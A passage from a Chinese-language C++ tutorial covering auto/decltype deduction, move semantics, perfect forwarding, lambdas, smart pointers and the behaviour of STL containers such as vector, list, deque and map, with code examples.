{
return x*y;
}
```
*C++11*可以直接这样：
```cpp
template<class T,class U>
auto mul(T x, U y)->decltype(x * y)
{
return x*y;
}
```
而在*C++14*中我们可以直接这样：
```cpp
template<class T,class U>
decltype(auto) mul(T x, U y)
{
return x*y;
}
```
其中的*auto*在编译时会替换成函数返回的表达式，再通过*decltype*来推导其类型。
* 当不声明为引用类型时，*auto*的初始化表达式即使是引用，编译器也并不会将该变量推导为对应类型的引用，*auto*的推导结果等同于初始化表达式去除引用和*const qualifier*，所以在实际编码中我们需要显示的声明引用和指针。当声明为引用或指针时*auto*的推导结果能推导出正确的类型，其结果能保留初始化表达式的*qualifier*：
```cpp
#include <iostream>
using namespace std;
int main()
{
int x = 0;
auto *a = &x;//类型为int*，auto为int
++(*a);
cout << "after ++(*a) *a:" << *a << " x:" << x << endl;
auto b = &x;//类型为int*，auto为int*
++(*b);
cout << "after ++(*b) *b:" << *b << " x:" << x << endl;
auto &c = x;//类型为int&，auto为int
++c;
cout << "after ++c c:" << c << " x:" << x << endl;
auto d = c;//类型为int，auto为int
++d;
cout << "after ++d d:" << d << " x:" << x << endl;
const auto e = x;//类型为const int，auto为int
//++e; error C3892: “e”: 不能给常量赋值
auto f = e;//类型为int，auto为int
++f;
cout << "after ++f f:" << f << " x:" << x << endl;
const auto &g = x;//类型为const int&，auto为int
//++g; error C3892: “g”: 不能给常量赋值
auto& h = g;//推导为const int&,auto为const int
//++h; error C3892: “g”: 不能给常量赋值
auto *i = &e; //推导为 const int*，常量指针，不能改变指针指向的内容
//++(*i); error C3892: “i”: 不能给常量赋值
auto j = i;
//++(*j); error C3892: “j”: 不能给常量赋值
int a3[3] = { 1, 2, 3 };
auto b3 = a3;
cout << typeid(b3).name() << endl;//int *
int a7[3] = { 1, 2, 3 };
auto & b7 = a7;
cout << typeid(b7).name() << endl;//int[3]
return 0;
}
```
* *auto*有时候可能得不到我们预想的类型，其实主要是因为基础不够扎实，比如*vector\<bool\>*。*vector\<bool\>*是*vector\<T\>*的一个特例化(*template specialization*)，这个特例化要解决的问题是存储容量的问题。
> *To optimize space allocation, a specialization of vector for bool elements is provided.*
所以，它一般来说是以位的方式来存储*bool*的值。从这里我们可以看出，如果使用位来提升空间效率可能引出的问题就是时间效率了，因为我们的计算机地址是以字节为单位的，根据网友的实验遍历访问*vector\<bool\>*要比其他*vector\<int\>*耗时40倍以上。
对于*vector\<bool\>*来说，它的*operator[]*返回的不是对应元素的引用，而是一个*member class std::vector\<bool\>::reference* 。对于普通*vector\<T\>*来说，若是使用*auto*声明变量对保存*opertor[]*返回的值，会如同上一段所说的去除引用，而对于*vector\<bool\> operator*返回的*std::vector\<bool\>::reference*是一个*member class*：
> *This embedded class is the type returned by members of non-const [vector](http://www.cplusplus.com/vector) when directly accessing its elements. It accesses individual bits with an interface that emulates a reference to a `bool`.*
根据定义这个类可以以*bit*为单位访问对应的*bool*，并且是以引用的方式，所以*auto*声明得到的*vector\<bool\>::operator[]*返回值是可以改变*vector\<bool\>*对应元素的内容的。如果我们试图用*auto&*来定义一个*vector\<bool\>::operator[]*返回的值，会出现如下编译错误：
> error: invalid initialization of non-const reference of
> type 'std::_Bit_reference&' from an rvalue of type 'std::_Bit_iterator::referen
> ce {aka std::_Bit_reference}'
这是因为对于*std::vector\<bool\>::reference*这种*proxy reference*来说，我们对其*reference*并不会得到一个普通的*bool &*，所以取引用会导致编译错误。这时候我们使用右值引用或者不加任何限定符来定义这个变量可以解决*vector\<bool\>*想遍历修改的问题，auto&&对*vector\<T\>*的其他类型同样适用，但此时并不是右值引用绑定到左值，而是auto&&发生了引用折叠，最终还是左值引用：
```cpp
vector<bool> v = {true, false, false, true};
// Invert boolean status
for (auto&& x : v) // <-- note use of "auto&&" for proxy iterators
x = !x;
for (auto x : v) // ok
x = !x;
```
# 13. 移动语义和右值引用
首先我们来定义一下左值和右值，左值就是有名字的对象或者变量，可以被赋值或给别的对象或变量赋值，比如 `obj` , `*ptr` , `ptr[index]` , 和`++x` ；而右值就是临时变量（对象），不能被赋值，比如 `1729` , `x + y` , `std::string("hello world")` , 和`x++`，另外还有函数的返回值（除非返回引用） 。
## 13.1 右值引用
在*6.2*章节构造函数章节中我们介绍了移动构造函数，入参中的*A &&a*即为右值引用，当我们使用*move*函数将变量转换成右值引用之后再进行构造或者直接使用右值进行构造都会触发调用我们的移动构造函数。我们一般会在移动构造函数中实现移动语义的功能，就是不会新分配一块内存，而是将旧的内存直接赋给新的对象，并将旧的对象的指针赋成*nullptr*：
```cpp
A(A &&a)
{
this->n = a.n;
a->n = nullptr;
cout << "A move construction" << endl;
}
```
如果我们为对象实现了移动构造函数，在函数中返回局部对象时我们也会触发移动语义：
* 1) 局部变量赋给临时变量时触发移动构造函数（没有则触发拷贝构造函数）
* 2) 临时变量赋值给函数**已经声明过的**外部变量时会触发**移动赋值构造函数**（这种情况没有移动赋值构造函数会编译出错）
* 3) 若是声明时赋值则触发**移动构造函数**（若没有可以触发拷贝构造函数）
* 4) 若移动赋值构造函数返回值而不是引用的话会在临时对象赋值给外部对象时再调用一次复制构造函数，这是因为又实例化了一个新的对象
* 5) 这一段可结合*6.3*章节一起看
```cpp
A test()
{
A a;
return a;
}
A a1 = test();//触发移动构造函数，若没有则触发拷贝构造函数
A a2;
a2 = test();//触发移动赋值构造函数，若没有编译出错： error: invalid initialization of non-const reference of type ‘A&’ from an rvalue of type ‘A’
```
右值引用使*C++*标准库的实现在多种场景下消除了不必要的额外开销（如*std::vector*,*std::string*），也使得另外一些标准库（如*std::unique_ptr*,*std::function*）成为可能。右值引用的意义通常为两大作用：移动语义和完美转发。移动语义即为上述所示的移动构造函数，*std::vector*和*std::string*也可以通过移动构造函数来构造，这样就避免了重新给vetor或者string分配空间的开销：
```cpp
template<typename T>
decltype(auto) move(T&& param)
{
using ReturnType = remove_reference_t<T>&&;
return static_cast<ReturnType>(param);
}
std::vector<int> vec(100,1);
std::vector<int> vec1 = move(vec);
```
而对于模板函数来说，`void func(T&& param)`其中的*T&&*并不一定表示的是右值（auto&&和这个原理一样），它绑定的类型是未知的，既可能是右值，也可能是左值，需要类型推导之后才会知道，比如：
```cpp
template<typename T>
void func(T&& param){}
func(10); // 10是右值
int x = 10;
func(x); // x是左值
```
### 13.1.1 右值引用接受参数
若我们的函数是右值引用，我们能接受哪些参数呢，假设我们有一个函数：
```cpp
class Data {};
void func(Data && data) {}
```
* 情形一：
```cpp
Data data;
func(data); //[Error] cannot bind 'Data' lvalue to 'Data&&'
```
data是个左值，不能绑定到右值上
* 情形二：
```cpp
Data data;
Data & d = data;
func(d); //[Error] cannot bind 'Data' lvalue to 'Data&&'
```
d同样是一个左值
* 情形三：
都说const 引用和右值引用有相似之处，尝试传递const引用
```cpp
Data data;
const Data & d = data;
func(d); // [Error] invalid initialization of reference of type, 'Data&&' from expression of type 'const Data'
```
仍然不能传，证明const &仍然是左值
* 情形四：
```cpp
func(Data());
```
ok，匿名对象为右值
* 情形五：
标准做法
```cpp
Data data;
func(std::move(data));//OK
```
* 情形六：
move一个做值引用：
```cpp
Data data;
Data & p = data;
func(std::move(p)); //OK
```
* 情形七：
把一个右值参数传递给const 引用类型
```cpp
void func(const Data & data){}
void func_1(Data && data)
{
func(data);//OK，此时data仍然为左值
}
Data data;
func_1(std::move(data));
```
* 情形八：
直接声明一个右值引用，来做参数传递
```cpp
Data p;
Data && p1 = std::move(p);
func(p1); // [Error] cannot bind 'Data' lvalue to 'Data&&'
```
同样的错误，说明p1还是左值 ， 我们可以通过这个方式验证一下
```cpp
void func(Data && data){}
void func_1(Data && data)
{
func(data);//[Error] cannot bind 'Data' lvalue to 'Data&&'
}
Data data;
func_1(std::move(data));
```
这时候就需要我们下一节会介绍的万能引用出场了：
```cpp
Data p;
Data && p1 = std::move(p);
func(std::forward<Data>(p1)); // OK
void func_1(Data && data)
{
func(std::forward<Data>(data));//这种情况其实是forward将data强转成了右值引用，没有发生引用折叠，作用如同move
}
```
## 13.2 万能引用
这种未定的引用类型称为万能引用(*universal reference*)，这种类型必须被初始化，具体是什么类型取决于它的初始化。由于存在*T&&*这种未定的引用类型，当它作为参数时，有可能被一个左值引用或右值引用的参数初始化，这是经过类型推导的*T&&*类型，相比右值引用(*&&*)会发生类型的变化，这种变化就称为引用折叠，引用折叠规则如下：
* 1.所有右值引用折叠到右值引用上仍然是一个右值引用。（*T&& &&*变成 *T&&*）
* 2.所有的其他引用类型之间的折叠都将变成左值引用。 （*T& &* 变成 *T&*; *T& &&* 变成 *T&*; *T&& &* 变成 *T&*）
对于万能引用，我们可能需要知道它什么时候是右值引用什么时候是左值引用，这时候我们就需要完美转发*std::forward\<T\>()*。如果传进来的参数是一个**左值**，*enter*函数会将T推导为***T&***，*forward*会实例化为*forward\<T&\>*，*T& &&*通过引用折叠会成为*T&*，所以传给*func*函数的还是左值；如果传进来的是一个**右值或者是右值引用**，*enter*函数会将*T*推导为***T***，*forward*会实例化为*forward\<T\>*，*T&&*通过引用折叠还是*T&&*，所以传给*func*函数的还是右值：
``` cpp
template<typename T>
T&& forward(typename remove_reference<T>::type& param)
{
return static_cast<T&&>(param); //会发生引用折叠
}
template <typename T>
void func(T t) {
cout << "in func " << endl;
}
template <typename T>
void enter(T&& t) {
cout << "in enter " << endl;
func(std::forward<T>(t));
}
```
# 14. *lambda*表达式
*lambda*表达式对于*C++*的意义有两条：
* 第一条是可以在表达式中直接定义一个函数，而不需要将定义函数和表达式分开。
* 第二条是引入了闭包。闭包是指将当前作用域中的变量通过值或者引用的方式封装到*lambda*表达式当中，成为表达式的一部分，它使*lambda*表达式从一个普通的函数变成一个带隐藏参数的函数。
基本语法我们在函数章节有所介绍：
```cpp
[capture list] (params list) -> return type {function body};
```
其中`-> return type`可单独省略，但是`params list`必须和`-> return type`一起省略，比如可以写成以下模式：
```cpp
auto test = []()->int{return 0;};//ok
auto test = [](){return 0};//ok
auto test = []->int{}//error
```
[]中我们可以定义好闭包变量的捕获方式：
```cpp
[] //未定义变量.试图在Lambda内使用任何外部变量都是错误的.
[x, &y] //x 按值捕获, y 按引用捕获.
[&] //用到的任何外部变量都隐式按引用捕获
[=] //用到的任何外部变量都隐式按值捕获
[&, x] //x显式地按值捕获. 其它变量按引用捕获
[=, &z] //z按引用捕获. 其它变量按值捕获
```
成员函数中的lambda表达式是不能直接捕获成员变量的，只能捕获this指针。对于成员函数中的*lambda*表达式如果我们期望成员变量按值捕获要注意不能直接用*[=]*让任何外部变量都隐式按值捕获，因为捕获了*this*之后其实是能够操作所有成员变量，这样所有成员变量实际是按引用捕获的，所以应该明确写出对*this*的捕获：
```cpp
class MyClass {
public:
void Foo()
{
int i = 0;
auto Lambda = [=]() { Use(i, data_); }; // 不好: 看起来像是拷贝/按值捕获，成员变量实际上是按引用捕获
data_ = 42;
Lambda(); // 调用 use(42);
data_ = 43;
Lambda(); // 调用 use(43);
auto Lambda2 = [i, this]() { Use(i, data_); }; // 好，显式指定按值捕获，最明确，最少的混淆
}
private:
int data_ = 0;
};
```
()中我们定义了需要直接直接传入*lambda*表达式的形参；
->之后我们定义的是返回值类型，当然我们可以将其隐藏，编译器会根据*return*表达式进行类型推导。除了返回值可以类型推导，在*C++14*中我们使用generic lambda还能对形参进行类型推导；
通过闭包和返回值以及形参的类型推导我们可以进行函数式编程，比方说构造*Church Number*：
```cpp
#include <iostream>
using namespace std;
//定义0函数
auto zero = [](auto f){
return [=](auto x){
return x;
};
};
//定义后继函数
auto succ = [](auto num){
return [=](auto f){
return [=](auto x){
return f(num(f)(x));
};
};
};
//定义加法函数
auto add = [](auto m, auto n){
return [=](auto f){
return [=](auto x){
return m(f)(n(f)(x));
};
};
};
//定义乘法函数
auto mul = [](auto m, auto n){
return [=](auto f){
return [=](auto x){
return m(n(f))(x);
};
};
};
int main()
{
auto two = succ(one);//通过后继函数得到2
auto three = add(one, two);//通过加法函数得到3
auto six = mul(two, three);//通过乘法函数得到6
auto f = [](auto x){cout<<"x:"<<x<<endl; return x+1;}//为了能具象数字，我们定义f
six(f)(0);
return 0;
}
```
# 15.智能指针
智能指针是在普通指针的基础上封装了一层*RAII*机制，这样一层封装机制的目的是为了使得指针可以方便的管理一个对象的生命周期。在程序员难以判断指针需要在什么时候释放，忘记释放，或者抛出异常时能安全的将内存释放。
智能指针分为四种：*auto_ptr*（摒弃），*unique_ptr*，*shared_ptr*和*weak_ptr*。旧的*auto_ptr*在对新的*auto_ptr*进行复制构造了之后旧的便会失效，而*unique_ptr*在*auto_ptr*的基础上禁止了复制构造，但是可以使用移动语义转移所有权，如果希望函数返回临时变量unique_ptr可将临时变量转成右值引用进行返回，这样就会触发unique_ptr的移动构造函数：
```cpp
unique_ptr<int> up(new int);
unique_ptr<int> up1(ap); //error
unique_ptr<int> up2 = ap; //error
unique_ptr<int> GetVal( ){
unique_ptr<int> up(new int);
return up;
}
unique_ptr<int> uP3 = GetVal(); //ok
unique_ptr<int> uP4 = move(up); //ok
unique_ptr<int> test()//返回值不能为rvalue reference，否则会产生dangling reference，跟lvalue reference一样
{
unique_ptr<int> a = unique_ptr<int>();
return move(a);//vs2017可不用转，gcc5.4中需要否则编译错误
}
unique_ptr<int> a1 = move(test());//ok
```
*shared_ptr*则会更加灵活，在*unique_ptr*的基础上增加了引用计数，每一次显示或者是隐式构造都会增加引用计数（引用计数为原子操作，线程安全，但管理的内存需要自己来维护线程安全，除非使用*unique_ptr*），当引用计数归零之后会在其析构函数中调用*deleter*函数来释放其管理的内存。*shared_ptr*的默认*deleter*为`[](T *a){delete a;}`，所以如果让*shared_ptr*管理对象数组时需要指定*deleter*为`[](T *a){delete[] a;}`，否则*shared_ptr*不能正确调用所有对象的析构函数。
在实际使用*shared_ptr*的过程中我们不可避免的会出现循环引用的情况，比如下面这种情况：
```cpp
class ClassB;
class ClassA
{
public:
ClassA() { cout << "ClassA Constructor..." << endl; }
~ClassA() { cout << "ClassA Destructor..." << endl; }
shared_ptr<ClassB> pb; // 在A中引用B
};
class ClassB
{
public:
ClassB() { cout << "ClassB Constructor..." << endl; }
~ClassB() { cout << "ClassB Destructor..." << endl; }
shared_ptr<ClassA> pa; // 在B中引用A
};
int main() {
shared_ptr<ClassA> spa = make_shared<ClassA>();
shared_ptr<ClassB> spb = make_shared<ClassB>();
spa->pb = spb;
spb->pa = spa;
return 0;
}
```
这时候我们就需要用到*weak_ptr*。*weak_ptr*是为了配合*shared_ptr*引入的一种智能指针，它指向一个由*shared_ptr*管理的对象而不影响所指对象的生命周期，也就是将一个*weak_ptr*绑定到一个*shared_ptr*不会改变*shared_ptr*的引用计数。不论是否有*weak_ptr*指向，一旦最后一个指向对象的*shared_ptr*被销毁，对象就会被释放。从这个角度看，*weak_ptr*更像是*shared_ptr*的一个助手而不是智能指针。
由于*weak_ptr*访问的指针可能被释放，所以我们不能直接访问指向的内存，我们可以用成员函数*lock*来判断，如果内存未释放，则返回一个指向内存的*shared_ptr*，若释放了则返回一个值为*nullptr*的*shared_ptr*：
```cpp
class A
{
public:
A() { cout << "A Constructor..." << endl; }
~A() { cout << "A Destructor..." << endl; }
};
int main() {
shared_ptr<A> sp(new A());
weak_ptr<A> wp(sp);
//sp.reset();
if (shared_ptr<A> pa = wp.lock()) {
cout << pa->a << endl;
} else {
cout << "wp指向对象为空" << endl;
}
}
```
*shared_ptr*在*C++17*之前都不支持动态数组，所以在这之前如果用*shared_ptr.reset()*数组之后需要自定义*deleter*，使用*delete[]*来进行释放，而由于*unique_pt*对数组做了特例化，在C++11就可以在构造函数中传入数组。：
```cpp
std::shared_ptr<int[]> sp1(new int[10]()); // 错误，c++17前不能传递数组类型作为shared_ptr的模板参数
std::unique_ptr<int[]> up1(new int[10]()); // ok, unique_ptr对此做了特化
std::shared_ptr<int> sp2(new int[10]()); // 错误，可以编译，但会产生未定义行为
```
## 15.1 常用函数
```cpp
get();//返回管理的裸指针
shared_ptr<ClassName> sp(new ClassName,[](ClassName* p){delete p;});//构造函数，自定义deleter
reset(p, Del);//释放之前管理的指针，重新设置维护的指针及其对应的deleter,只有shared_ptr可以reset deleter，unique_ptr不行
get_deleter();//获得智能指针的deleter
template <class T, class... Args>
shared_ptr<T> make_shared (Args&&... args);//相当于调用T类的构造函数，auto baz = std::make_shared<std::pair<int,int>> (30,40);
```
## 15.2 *enable_shared_from_this*
使用智能指针难以避免的场景之一就是需要把在类的成员函数里把当前类的对象作为参数传给其他异步函数，这时候需要在成员函数里获得一个管理*this*指针的shared_ptr，我们可能想要这么做：
```cpp
class Foo
{
public:
void Bar(std::function<void(Foo*)> fnCallback)
{
std::thread t(fnCallback,this);
t.detach();
}
};
```
但是我们不能保证在fnCallback异步调用的时候Foo对象没有被析构，所以我们可能想要给fnCallback回调传一个shared_ptr管理的Foo对象指针，像这样：
```cpp
class Foo
{
public:
void Bar(std::function<void(std::shared_ptr<Foo>)> fnCallback)
{
std::shared_ptr<Foo> pFoo(this);
std::thread t(fnCallback,pFoo);
t.detach();
}
};
```
然而这样就让两个*shared_ptr*来管理一个对象，两个*shared_ptr*不共享引用计数，各自都是1，所以仍然会让成员函数外的*shared_ptr*析构之后释放*Foo*。这时候我们就需要j继承*enable_shared_from_this*类来帮我们获得一个和外面*shared_ptr*共享引用计数的新的*shared_ptr*：
```cpp
class CallbackClass : public enable_shared_from_this<CallbackClass> {
public:
void CallCallbackFunc(std::function<void(shared_ptr<CallbackClass>)> CallbackFunc) {
auto sp = shared_from_this();
thread t(CallbackFunc,sp);
t.detach();
//t.join();
return;
}
CallbackClass():a(0) {
cout << "CallbackClass constructor" << endl;
}
~CallbackClass() {
cout << "CallbackClass destructor" << endl;
}
int Adda() {
a++;
return a;
}
private:
int a;
};
void Foo()
{
shared_ptr<CallbackClass> sp = make_shared<CallbackClass>();
sp->CallCallbackFunc([](shared_ptr<CallbackClass> sp) {
Sleep(100);
cout << "sleep 100 ms done" << endl;
for (int i = 0; i < 1000; ++i) {
cout << "a:" << sp->Adda() << endl;
}
});
return;
}
int main(int argc, char* argv[])
{
Foo();
cout << "Foo func done" << endl;
system("pause");
return 0;
}
```
*enable_shared_from_this*中包含一个*weak_ptr*，在初始化*shared_ptr*时，构造函数会检测到这个该类派生于*enable_shared_from_this*，于是将这个*weak_ptr*指向初始化的*shared_ptr*。调用*shared_from_this*，本质上就是*weak_ptr*的一个*lock*操作。
# 16. *STL*容器
## 16.1 顺序容器(*sequence container*)
### 16.1.1 *vector*
*vector\<bool\>*为该模板类的特例化，我们在前文中已经介绍过了，不再赘述。
#### 16.1.1.1 数据结构
*vector*的底层数据结构是动态数组，因此，*vector*的数据安排以及操作方式与*std::array*十很相似，它们间的唯一差别在于对空间的运用灵活性上。*array*为静态数组，有着静态数组最大的缺点：每次只能分配一定大小的存储空间，当有新元素插入时，要经历 “找到更大的内存空间”->“把数据复制到新空间” ->“销毁旧空间” 三部曲， 对于*std::array*而言，这种空间管理的任务压在使用它的用户身上，用户必须把握好数据的数量，尽量在第一次分配时就给数据分配合理的空间（这有时很难做到），以防止“三部曲”带来的代价，而数据溢出也是静态数组使用者需要注意的问题。而*vector*用户不需要亲自处理空间运用问题。*vector*是动态空间，随着新元素的插入，旧存储空间不够用时，*vector*内部机制会自行扩充空间以容纳新元素，当然，这种空间扩充大部分情况下（几乎是）也逃脱不了“三部曲”，只是不需要用户自己处理，而且*vector*处理得更加安全高效。*vector*的实现技术关键就在于对其大小的控制以及重新配置时数据移动效率。
#### 16.1.1.2 迭代器类型
对于*C style*数组，我们使用普通指针就可以对数组进行各种操作。*vector*维护的是一个连续线性空间，与数组一样，所以无论其元素型别为何，普通指针都可以作为*vector*的迭代器而满足所有必要的条件。*vector*所需要的迭代器操作，包括*operator*,*operator->*,*operator++*,*operator--*,*operator+=*,*operator-=*等，普通指针都具有。因此，普通指针即可满足*vector*对迭代器的需求。所以，*vector*提供了*Random Access Iterators*。
#### 16.1.1.3 内存分配
标准库的实现者使用了这样的内存分配策略：以最小的代价连续存储元素。为了使*vector*容器实现快速的内存分配，其实际分配的容量要比当前所需的空间多一些(预留空间)，*vector*容器预留了这些额外的存储区用于存放添加的新元素，于是不必为每个新元素进行一次内存分配。当继续向容器中加入元素导致备用空间被用光（超过了容量*capacity*），此时再加入元素时*vector*的内存管理机制便会扩充容量至两倍，如果两倍容量仍不足，就扩张至足够大的容量。容量扩张必须经历“重新配置、元素移动、释放原空间”这个浩大的工程。按照《*STL*源码剖析》中提供的*vector*源码，*vector*的内存配置原则为：
- 如果*vector*原大小为0，则配置1，也即一个元素的大小。
- 如果原大小不为0，则配置原大小的两倍。
当然，*vector*的每种实现都可以自由地选择自己的内存分配策略，分配多少内存取决于其实现方式，不同的库采用不同的分配策略。
#### 16.1.1.4 迭代器失效
对于迭代器失效的问题，*vector*有三种情况会导致迭代器失效：
* *vector*管理的是连续的内存空间，在容器中插入（或删除）元素时，插入（或删除）点后面的所有元素都需要向后（或向前）移动一个位置，指向发生移动的元素的迭代器都失效。
* 随着元素的insert或者push_back，原来分配的连续内存空间已经不够且无法在原地拓展新的内存空间，整个容器会被*copy*到另外一块内存上，此时指向原来容器元素的所有迭代器通通失效；如果内存空间能满足则插入位置迭代器及其后面的迭代器都失效。
* 删除元素后，指向被删除元素及其后面的迭代器失效。
#### 16.1.1.5 常用成员函数
```cpp
explicit vector (size_type n, const value_type& val = value_type(), const allocator_type& alloc = allocator_type());//这种构造函数传的是const value_type&，所以会触发拷贝构造函数
template <class InputIterator> vector (InputIterator first, InputIterator last, const allocator_type& alloc = allocator_type());
vector (const vector& x);
vector& operator= (const vector& x);//包含赋值和移动版本
void push_back (const value_type& val);
void push_back (value_type&& val);//优选右值引用版本，省略拷贝构造函数
reference at (size_type n);//以此替换operator[]，at函数会做边界检测
iterator insert (iterator position, const value_type& val);//在指定位置插入新元素，并将后面的元素往后挪，所以指定迭代器及其后面的迭代器都失效。如果整个vector没有挪到新内存则返回的迭代器和入参迭代器是一个地址，若挪了则返回指向新元素的迭代器。
void insert (iterator position, size_type n, const value_type& val);
template <class InputIterator>
void insert (iterator position, InputIterator first, InputIterator last);
template <class... Args>
iterator emplace (const_iterator position, Args&&... args);//和insert功能类型，返回值也一样，只不过只能插入一个值的右值引用
iterator erase (iterator position);//Return an iterator pointing to the new location of the element that followed the last element erased by the function call.指定迭代器位置的元素删除，后面元素往前挪，则它及其后面的迭代器都失效
iterator erase (iterator first, iterator last);
value_type* data() noexcept;//返回vertor管理的内存首地址
void shrink_to_fit();//Requests the container to reduce its capacity to fit its size，如果发生reallocation，则所有迭代器失效，否则不影响
reference front();//返回首元素值的引用
void reserve (size_type n);//若发生reallocation，所有迭代器失效。和resize的区别是这个不创建新元素，而resize会创建新元素，并且可以直接访问。和shrink_to_fit都是改变capacity的大小，并不改变resize，不会创建新的元素
```
### 16.1.2 *list*
#### 16.1.2.1 数据结构
list同样是一个模板类，它底层数据结构为双向循环链表。因此，它支持任意位置*O(1)*的插入/删除操作，不支持快速随机访问。*list*的迭代器具备前移、后移的能力，所以*list*提供的是*Bidirectional iterator*(双向迭代器)。由于采用的是双向迭代器，自然也很方便在指定元素之前插入新节点，所以*list*很正常地提供了*insert()*/*emplace()*操作与*push_back()*/*pop_back()*/*emplace_front()*/*emplace_back()*操作。
#### 16.1.2.2 内存分配
*list*的空间配置策略，自然是像我们普通双向链表那样，有多少元素申请多少内存。它不像*vector*那样需要预留空间供新元素的分配，也不会因找不到连续的空间而引起整个容器的内存迁移。
#### 16.1.2.3 迭代器失效
插入操作（*insert*）与接合操作（*splice*）都不会造成原有的list迭代器失效。这在*vector*是不成立的，因为*vector*的插入可能引起空间的重新配置，导致原来的迭代器全部失效。*list*的迭代器失效，只会出现在删除的时候，指向删除元素的那个迭代器在删除后失效。
#### 16.1.2.4 常用成员函数
```cpp
//构造函数同vector类似
void remove (const value_type& val);//Remove elements with specific value
iterator insert (iterator position, const value_type& val);//inserting new elements before the element at the specified position. Return An iterator that points to the first of the newly inserted elements.
void insert (iterator position, size_type n, const value_type& val);
template <class InputIterator>
void insert (iterator position, InputIterator first, InputIterator last);
iterator erase (iterator position);//Return An iterator pointing to the element that followed the last element erased by the function call.
iterator erase (iterator first, iterator last);
void reverse() noexcept;//Reverses the order of the elements in the list container.
void resize (size_type n);
void resize (size_type n, const value_type& val);//If n is smaller than the current container size, the content is reduced to its first n elements, removing those beyond.If n is greater than the current container size, the content is expanded by inserting at the end as many elements as needed to reach a size of n. If val is specified, the new elements are initialized as copies of val, otherwise, they are value-initialized.
template <class Compare>
void sort (Compare comp);//由于list不能使用std::sort，所以有自己的排序函数，该函数不会导致迭代器失效
```
### 16.1.3 *deque*
#### 16.1.3.1 数据结构
*vector*是单向开口的线性连续空间，*deque*则是一种双向开口的连续数据空间。所谓的双向开口，意思是可以在头尾两端分别做元素的插入和删除操作。当然*vector*也可以在头尾两端进行操作，但是其头部操作效果奇差，所以标准库没有为*vector*提供*push_front*或*pop_front*操作。与*vector*类似，*deque*支持元素的快速随机访问。
*deque*由一段一段的定量连续空间构成。一旦有必要在*deque*的前端或尾端增加新空间，便配置一段定量连续空间，串接在整个*deque*的头端或尾端。*deque*的最大任务，便是在这些分段的定量连续空间上，维护其整体连续的假象，并提供随机存取的接口。避开了“重新配置、复制、释放”的轮回，代价则是复杂的迭代器架构。
受到分段连续线性空间的字面影响，我们可能以为*deque*的实现复杂度和*vector*相比差不太多，其实不然。主要因为，既是分段连续线性空间，就必须有中央控制，而为了维持整体连续的假象，数据结构的设计及迭代器前进后退等操作都颇为繁琐。*deque*的实现代码分量远比*vector*或*list*都多得多。
*deque*采用一块所谓的*map*（不是*STL*的*map*容器）作为主控。这里所谓*map*是一小块连续空间，其中每个元素（此处称为一个节点，*node*）都是指针，指向另一段（较大的）连续线性空间，称为缓冲区。缓冲区才是*deque*的储存空间主体。*SGI STL*允许我们指定缓冲区大小，默认值0表示将使用512*bytes*缓冲区。
#### 16.1.3.2 迭代器类型
*deque*的迭代器必须能够指出分段连续空间（亦即缓冲区）在哪里，其次它必须能够判断自己是否已经处于其所在缓冲区的边缘，如果是，一旦前进或后退就必须跳跃至下一个或上一个缓冲区。为了能够正确跳跃，*deque*必须随时掌握管控中心（*map*）。所以在迭代器中需要定义：当前元素的指针，当前元素所在缓冲区的起始指针，当前元素所在缓冲区的尾指针，指向*map*中指向所在缓区地址的指针，分别为*cur*，*first*，*last*，*node*。
#### 16.1.3.3 迭代器失效
在中间插入元素都将使deque的迭代器、指针、引用失效。在deque的中间删除元素将使迭代器、引用、指针失效。跟vector的区别在于在队前或队后插入元素时（push_back(),push_front()）,由于可能缓冲区的空间不够，需要增加map中控器，而中控器的个数也不够，所以新开辟更大的空间来容纳中控器，所以可能会使迭代器失效；但指针、引用仍有效，因为缓冲区已有的元素没有重新分配内存。
## 16.2 容器适配器(*container adaptor*)
如果说容器是*STL*中能保存数据的数据类型，那么容器适配器就是*STL*中为了适配容器提供特定接口的数据类型，所以底层是以顺序容器为基础实现的。*C++*提供了三种容器适配器：*stack*，*queue*和*priority_queue*。*stack*和*queue*默认基于*deque*实现，*priority_queue*默认基于*vector*实现。容器适配器不支持任何类型的迭代器，即迭代器不能用于这些类型的容器。
### 16.2.1 *stack*
*stack*为了提供LILO的数据结构。常用成员函数为：
```cpp
template <class... Args> void emplace (Args&&... args);
bool empty() const;
void pop();
void push (const value_type& val);
size_type size() const;
void swap (stack& x) noexcept;
value_type& top();
```
我自己测试发现底层容器改成vector会比用default的deque要快。
### 16.2.2 *queue*
*queue*为了提供FIFO的数据结构。常用成员函数为：
```cpp
value_type& back();
template <class... Args> void emplace (Args&&... args);
bool empty() const;
value_type& front();
void pop();
void push (const value_type& val);
size_type size() const;
void swap (queue& x) noexcept;
```
### 16.2.3 *priority_queue*
*priority_queue*为了提供优先队列，数据结构为大根堆，能够常数时间获得最大的元素，插入删除时间复杂度为O(lgn)。常用成员函数为：
```cpp
template <class... Args> void emplace (Args&&... args);
bool empty() const;
void pop();
void push (const value_type& val);
size_type size() const;
void swap (priority_queue& x) noexcept;
const value_type& top() const;
```
## 16.3 关联容器(*associative container*)
关联容器的关联指的是存储的元素的位置是和其值是相关联的，而不是像顺序容器一样是绝对的位置。其存储顺序可分为有序和无序两种，有序的是*map/set*，其内部数据结构为*RBT*；无序的就是*unordered_map/set*，其内部数据结构为*hashmap*。
### 16.3.1 *map/multimap*
常用成员函数：
```cpp
mapped_type& at ( const key_type& k );//If k does not match the key of any element in the container, the function throws an out_of_range exception.
template <class P> pair<iterator,bool> insert (P&& val);//插入成功返回指向新元素的迭代器和true的pair，如有相同元素则返回原有元素迭代器和false的pair
template <class P> iterator insert (const_iterator position, P&& val);//和顺序容器的区别在于其不能随意存储，在这个重载中的第一个迭代器的含义不是像顺序存储一样让你把新的值插入这个迭代器后面，它仍然会进行排序插入正确的位置。只不过若插入恰巧发生在hint前的位置（用upper_bound()获得），则时间复杂度为常数
template <class InputIterator>
void insert (InputIterator first, InputIterator last);
mapped_type& operator[] (key_type&& k);//等于(*((this->insert(make_pair(k,mapped_type()))).first)).second，所以无论其实是否包含该元素都会做一次insert操作插入一个调用无参数构造函数构造的value值（若没有无参数构造函数则会编译出错），再通过insert的返回值的pair保存的迭代器来修改对应key的value值，所以该操作十分耗时。返回值为对应值的引用，原来没有则返回新构造元素的引用。
iterator erase (const_iterator position);//返回删除元素的下一个元素的迭代器
iterator erase (const_iterator first, const_iterator last);
size_type erase (const key_type& k);//返回删除元素个数
iterator find (const key_type& k);
size_type count (const key_type& k) const;//map只返回0或1
pair<iterator,iterator> equal_range (const key_type& k);
key_compare key_comp() const;
template <class... Args>
pair<iterator,bool> emplace (Args&&... args);
map& operator= (const map& x);
map& operator= (map&& x);
map& operator= (initializer_list<value_type> il);
